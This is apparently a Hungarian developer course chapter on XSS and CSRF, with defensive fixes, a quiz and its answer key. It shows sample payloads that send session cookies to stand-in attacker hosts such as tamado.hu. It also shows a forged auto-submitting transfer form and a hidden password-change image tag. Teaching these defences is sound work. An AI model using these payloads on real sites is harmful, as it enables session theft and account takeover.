10.4 XSS és CSRF

← 10. DevSec – Security alapok

10.4 XSS és CSRF alapok – és hogyan kerüld el

Áttekintő

Ha valaha is láttál már olyat, hogy egy weboldal egy felhasználó nevében egy csinált káreset — például ismerős nevében küldött el egy e-mailt, vagy anélkül ment el egy banki átutalás, hogy az illető tudott volna róla — akkor valószínűleg XSS vagy CSRF állt a háttérben.

Ez a két sérülékenység az egyik leggyakrabban félreértett páros a webfejlesztésben. Nem azért, mert bonyolultak, hanem mert a leírások sokszor vagy túl technikai (és elveszik a szavakban), vagy túl felszínes (és csak annyit mondanak: „szanitizáld az inputot").

Ebben a fejezetben megtanulod:

  • Mi az XSS és miért veszélyes, még ha „csak" HTML-t injektálsz is
  • Mi a különbség reflected és stored XSS között
  • Miért az output encoding az igazi védelem, nem az input szűrés
  • Mi az a CSRF és hogyan képes egy másik weboldalon lévő gomb valaki nevében csinálni valamit a te oldaladon
  • Mire való a CSRF token, és mikor kell/nem kell
  • Modern SPA-k esetén miért más a helyzet

Nem kell exploitot írni. Nem kell penetration tester lenni. De ha ezek a fogalmak idegenek, és valamelyik nap egy seniored azt mondja: „ez XSS-re sebezhető" – akkor tudnod kell, mit jelent és hogyan javítod.


Részletes leírás

XSS – Cross-Site Scripting

Mi az XSS?

Az XSS lényege: a felhasználó által bevitt adatot a böngésző kódként futtatja, nem adatként jeleníti meg.

Képzeld el, hogy van egy kommentrendszered, és valaki a következőt írja be kommentnek:

<script>alert('hacked')</script>

Ha ezt úgy jeleníted meg a HTML-ben, ahogy van – tehát nem dolgozod fel, hanem szó szerint beilleszted a template-be –, akkor a böngésző ezt nem szövegnek fogja látni, hanem HTML tag-nek. Le fogja futtatni a JavaScript kódot.

Ez akkor válik igazán veszélyessé, ha nem alert()-et írnak, hanem például:

document.location='https://tamado-oldal.com/steal?cookie='+document.cookie

Ezzel a támadó megkaparinthatja a bejelentkezett felhasználó session sütiét, és átveheti a fiókját – anélkül, hogy a jelszavát ismerné.

Reflected vs. Stored XSS

Reflected XSS: A rosszindulatú kód a kérésben van (pl. URL paraméterben), és az oldal visszatükrözi azt a válaszban. Például:

https://pelda.hu/kereses?q=<script>alert(1)</script>

Ha az oldal ezt jeleníti meg: „Keresés: [q értéke]", és nem escapeli, akkor lefut a script. Ez általában célzott támadáshoz kell: a link terjesztésével lehet áldozatot csapdába csalni.

Stored XSS: A rosszindulatú kód az adatbázisba kerül, és minden felhasználónak megjelenik, aki megtekinti az adott oldalt (pl. profil, komment, üzenet). Ez sokkal veszélyesebb, mert nem kell különleges linket küldeni – automatikusan mindenkit érint.

Miért nem elég az input szűrés?

Sokan azt hiszik, hogy ha a bevitt szöveget ellenőrzik érkezéskor, megvannak. De az input szűrés nem megbízható védelem XSS ellen, mert:

  1. Sokféle encoding létezik, amivel megkerülhető a blacklist
  2. Az adatok újra felhasználásra kerülhetnek más kontextusban, ahol más szabályok érvényesek
  3. Legitim inputot is kiszűrhetsz véletlenül (pl. <b> tag egy rich text editorban)

Az igazi védelem: output encoding (kontextusfüggő)

Az elvünk: az adatot ott escapeld, ahol megjelenik – nem ott, ahol beérkezik.

HTML kontextusban:

# Python (Jinja2 template – automatikus escapelés)
{{ user_comment }}  # Jinja2 alapból escapeli, ha auto-escaping be van kapcsolva

# Manuálisan:
import html
safe_output = html.escape(user_input)
// JavaScript – DOM-ban ne innerHTML-t használj
element.textContent = userInput;  // HELYES – nem értelmez HTML-t
element.innerHTML = userInput;    // VESZÉLYES – lefuttathatja a scriptet
// PHP
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');  // HELYES
echo $user_input;  // VESZÉLYES

JavaScript kontextusban (ha adatot JS változóba töltesz):

Az egyszerű HTML escape nem elég, mert a </script> vagy " karakterek áttörhetnek a JS kódba. Erre dedikált library-k valók (pl. OWASP Java Encoder, DOMPurify).

Attribute kontextusban:

<!-- VESZÉLYES: -->
<input value="{{ user_input }}">

<!-- HELYES: idézőjelbe tedd ÉS escapeld -->
<input value="{{ user_input | e }}">

Content Security Policy (CSP) – extra védelmi réteg

A CSP egy HTTP fejléc, amivel megmondod a böngészőnek: „csak ezekről a domain-ekről futtass JavaScript-et." Ez nem helyettesíti az output encoding-ot, de ha mégis valami átcsúszik, egy második védelmi vonalat jelent.

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.pelda.com

CSRF – Cross-Site Request Forgery

Mi az a CSRF?

A CSRF alapötlete: egy másik weboldal a te nevedben küld kérést egy oldalra, amin be vagy jelentkezve – és az oldal teljesíti, mert érvényes session sütid van.

Képzeld el a következő helyzetet:

  1. Be vagy jelentkezve a bankod weboldalára (session sütid megvan)
  2. Megnyitsz egy másik oldalt (pl. kattintasz egy linkre)
  3. Azon az oldalon van egy rejtett form, ami automatikusan elküldi:
<form action="https://bank.hu/atutalas" method="POST">
  <input type="hidden" name="osszeg" value="50000">
  <input type="hidden" name="cel" value="tamado_szamlaszam">
</form>
<script>document.forms[0].submit();</script>
  1. A böngésződ elküldi ezt a kérést – automatikusan csatolja a bank.hu sütidet
  2. A bank oldala egy érvényes bejelentkezett kérést lát, és teljesíti az átutalást

Ez a CSRF. Nem kell a jelszavad, nem kell hackelni a bankot – csak el kell érni, hogy a böngésződ küldje el a kérést.

Hogyan véd a CSRF token?

A CSRF token egy véletlenszerű, egyedi érték, amit a szerver generál és a session-höz köt. Minden form-ba belerejtik, és a szerver ellenőrzi, hogy beküldés előtt megvolt-e a kérésben.

<form method="POST" action="/atutalas">
  <input type="hidden" name="csrf_token" value="xK9mQ3vN8pL2rT5w">
  <!-- többi mező -->
</form>

A támadó oldal nem ismeri ezt az értéket (nem fér hozzá a másik oldalhoz cross-origin miatt), így az általa generált form nem tartalmazza – a szerver visszautasítja.

Tipikus implementáció frameworkökben:

# Django – automatikusan kezeli, csak be kell kapcsolni a template-ben:
{% csrf_token %}

# Flask-WTF:
from flask_wtf.csrf import CSRFProtect
csrf = CSRFProtect(app)
// Laravel – automatikusan kezeli minden POST/PUT/DELETE kérésnél
// Blade template-ben:
@csrf
// Express + csurf:
app.use(csrf());
// Template-ben: req.csrfToken()

Mikor kell CSRF védelem és mikor nem?

Kell:

  • Bármely POST/PUT/DELETE/PATCH kérés, amit bejelentkezett felhasználó küld
  • Bármely form-küldés, ami adatmódosítással jár

Nem kell (általában):

  • Csak olvasható GET kérések
  • API végpontok, amelyek nem süti alapú autentikációt használnak (token a headerben van)

Modern SPA-k és a CSRF

Ha a frontendedről fetch vagy axios hívással küldesz kérést, és nem süti alapú autentikációt használsz (hanem pl. Authorization: Bearer <token> headert), akkor alapvetően védett vagy CSRF ellen – mert a böngésző nem csatolja automatikusan a headert egy cross-origin kérésnél (szemben a sütikkel).

De vigyázz: ha SPA + süti alapú auth kombinációt használsz (pl. HttpOnly cookie session), akkor a CSRF védelmet is be kell kapcsolni.

A CORS (Cross-Origin Resource Sharing) fejlécek segítenek, de nem helyettesítik a CSRF tokent, mert a CORS a választ védi, nem a kérés elküldését.


Életszerű példák

1. példa – Stored XSS egy komment rendszerben

A helyzet: Egy junior fejlesztő egy egyszerű komment szekciót épít. A kommenteket adatbázisba menti, majd kilistázza a komment oldalon. A template így néz ki:

<!-- VESZÉLYES – Python/Jinja2, auto-escape KI van kapcsolva -->
<div class="comment">
  <strong>{{ comment.author }}</strong>: {{ comment.text | safe }}
</div>

A | safe filter azt mondja Jinja2-nek: „ne escapeld, megbízom benne". Egy rosszindulatú felhasználó beírja:

Szuper cikk! <script>fetch('https://tamado.hu/steal?c='+document.cookie)</script>

Ez eltárolódik az adatbázisban. Ezután minden látogató, aki megnyitja az oldalt, futtatja a támadó kódját, és a session sütijük elküldődik a támadó szerverére.

A javítás:

<!-- HELYES – ne használj | safe felhasználói tartalomra -->
<div class="comment">
  <strong>{{ comment.author }}</strong>: {{ comment.text }}
</div>

Ha rich text szerkesztőt akarsz (ahol megengedett a HTML), használj DOMPurify-t vagy hasonló whitelist alapú sanitizert – de csak akkor, ha tényleg szükséges.


2. példa – Reflected XSS egy keresőmezőn

A helyzet: Egy webshopnál a keresési eredmény oldalon ez áll:

// VESZÉLYES
echo "Keresési eredmények erre: " . $_GET['q'];

Egy támadó elküldi a következő linket egy e-mailben az ügyfeleknek:

https://webshop.hu/kereses?q=<script>document.location='https://tamado.hu/?c='+document.cookie</script>

Aki rákattint és be van jelentkezve a webshopba, session sütije a támadóhoz kerül.

A javítás:

// HELYES
echo "Keresési eredmények erre: " . htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');

3. példa – CSRF egy jelszóváltoztatásnál

A helyzet: Egy alkalmazásban a jelszóváltoztatás formja sütialapú session-t használ, de nincs CSRF token. Egy forum-oldalon valaki elhelyezi:

<img src="https://app.pelda.hu/password/change?new=tamado123" style="display:none">

(Ha a jelszóváltoztatás GET kéréssel működik – ami önmagában is hiba –, akkor az img tag megnyitásakor automatikusan megváltozik a jelszó, ha a felhasználó be van jelentkezve.)

A javítás három szinten:

  1. Jelszóváltoztatás csak POST-tal (GET soha ne módosítson adatot)
  2. CSRF token a formban
  3. Jelszóváltoztatáshoz legyen szükség a régi jelszóra is

4. példa – Laravel CSRF védelem (hogyan működik a gyakorlatban)

Laravel-ben a middleware automatikusan ellenőrzi a CSRF tokent minden nem-GET kérésnél. A Blade template-ben:

<form method="POST" action="/profil/frissit">
    @csrf  <!-- Ez generál egy rejtett mezőt a tokennel -->
    <input type="text" name="nev" value="{{ old('nev') }}">
    <button type="submit">Mentés</button>
</form>

Ha AJAX kérést küldesz (pl. axios-szal), a tokent a meta tagből kell kiolvasni:

<meta name="csrf-token" content="{{ csrf_token() }}">
// axios globálisan konfigurálja, ha így állítod be:
axios.defaults.headers.common['X-CSRF-TOKEN'] = 
    document.querySelector('meta[name="csrf-token"]').getAttribute('content');

Ha elfelejtesz CSRF tokent küldeni, a szerver 419 Page Expired hibával válaszol – ez sokszor megijeszt juniorokat, de egyszerű a magyarázat: a CSRF ellenőrzés elbukott.


Tesztfeladatok

1. Mi történik, ha egy HTML oldal ezt a kódot tartalmazza, és a userInput értéke <script>alert(1)</script>?

document.getElementById('output').innerHTML = userInput;

a) Megjelenik a szöveg: <script>alert(1)</script>
b) Lefut a JavaScript, és megjelenik egy alert ablak
c) A böngésző hibát jelez és nem jelenít meg semmit
d) Csak akkor fut le, ha a felhasználó rákattint az elemre


2. Mi a különbség a Reflected és a Stored XSS között?

a) A reflected XSS veszélyesebb, mert minden felhasználót érint
b) A stored XSS az adatbázisban tárolódik, a reflected csak az aktuális kérésben tükröződik vissza
c) A reflected XSS szerver oldalon fut, a stored XSS kliens oldalon
d) Nincs érdemi különbség, ugyanolyan védekezés kell mindkettő ellen


3. Egy junior fejlesztő ezt mondja: „Beviteli oldalon kiszűrjük az összes HTML tag-et, tehát XSS-re nem vagyunk sebezhetők." Mi a probléma ezzel a megközelítéssel?

a) Semmi, ez a helyes megközelítés
b) Az input szűrés önmagában nem megbízható: megkerülhető, és az output kontextusa is számít
c) Input szűrés helyett mindig CSRF tokent kell használni
d) Az input szűrés csak SQL injection ellen véd, XSS ellen nem


4. Melyik kódrészlet BIZTONSÁGOS XSS szempontjából?

A:

element.innerHTML = userData;

B:

element.textContent = userData;

C:

<div>{{ user_data | safe }}</div>

D:

echo "<div>" . $user_data . "</div>";

a) A
b) B
c) C
d) D


5. Hogyan működik egy CSRF támadás? Melyik leírás a helyes?

a) A támadó megszerzi a felhasználó jelszavát és bejelentkezik a nevében
b) A támadó XSS segítségével JavaScript kódot futtat a céloldalon
c) Egy másik weboldal a felhasználó böngészőjén keresztül küld kérést a céloldalra, amelyet a böngésző automatikusan csatolt sütikkel hitelesít
d) A támadó közbeékelődik a szerver és a kliens között, és módosítja a forgalmat


6. Mire való a CSRF token?

a) Titkosítja a form adatokat, hogy ne lehessen elolvasni
b) Egy véletlenszerű, session-hez kötött érték, amit a szerver ellenőriz, hogy a kérés az eredeti oldalról jött-e
c) Azonosítja, hogy melyik felhasználó küldte a kérést
d) Megakadályozza az SQL injection-t form adatoknál


7. Milyen HTTP metódusokhoz kell általában CSRF védelem? (több helyes válasz is lehet)

a) GET
b) POST
c) PUT
d) DELETE
e) HEAD


8. Szituáció: React SPA frontendded van, és a backend API JWT tokent használ autentikációra, amit az Authorization headerben küldesz. Szükséges-e CSRF token?

a) Igen, mindig kell CSRF token
b) Nem, mert a böngésző cross-origin kérésekhez nem csatolja automatikusan az Authorization headert, ezért a támadó nem tudja utánozni
c) Nem, mert React automatikusan véd CSRF ellen
d) Igen, de csak ha adatbázist is használsz


9. Egy csapattársad ezt a megoldást javasolja XSS-re: „Tegyük bele a Content Security Policy headert, és akkor már nem kell escape-elni az outputot." Mi a helyes reakció?

a) Jó ötlet, a CSP teljesen helyettesíti az output encoding-ot
b) Rossz: a CSP extra védelem, de nem helyettesíti az output encoding-ot – mindkettő kell
c) Jó ötlet, de csak akkor, ha HTTPS-t is használunk
d) A CSP nem véd XSS ellen, ezért nem érdemes bevezetni


10. Melyik állítás IGAZ?

a) Ha egy API csak JSON-t fogad, CSRF védelem nem szükséges
b) HttpOnly cookie + nincs CSRF token = biztonságos
c) Output encoding helyett mindig elég a htmlspecialchars() az inputon
d) A CORS fejlécek helyettesítik a CSRF tokent


Válaszok

  1. b – Az innerHTML lefuttatja a script tag-et. Ezt kerüld, ha felhasználói adat van benne.
  1. b – A stored XSS adatbázisba kerül és minden látogatóra hat; a reflected csak az aktuális kérésben jön vissza.
  1. b – Az input szűrés megkerülhető, és az output kontextusa (HTML, JS, attribute) dönti el, milyen encoding kell.
  1. b – A textContent nem értelmez HTML-t. Az innerHTML, | safe és a közvetlen PHP echo mind veszélyes.
  1. c – A CSRF lényege: a böngésző automatikusan küldi a sütit, így a támadó oldal kérése hitelesítettnek látszik.
  1. b – A CSRF token egy titkos, session-specifikus értéke, amit a szerver ellenőriz, és amit a cross-origin támadó nem ismerhet.
  1. b, c, d – A POST, PUT, DELETE kérések módosítanak adatot. A GET kérések ne módosítsanak adatot (REST elv), így azokhoz nem szokás CSRF tokent kérni. A HEAD szintén csak olvasó.
  1. b – JWT az Authorization headerben nem küldődik automatikusan cross-origin kérésekből, ezért CSRF nem fenyeget ilyen architektúrában. De ha sütibe teszed a JWT-t, már igen.
  1. b – A CSP egy extra védelmi réteg, de ha az output encoding hiányzik, már az elsőt kihagytad. Mindkettő kell.
  1. a – Ha a szerver csak Content-Type: application/json kéréseket fogad el, és azt ellenőrzi, CSRF általában nem fenyeget – a böngésző alapból nem küld JSON body-t cross-origin kérésből. (De ez implementációtól függ: mindig érdemes utánanézni a konkrét framework-nek.)
Scroll to Top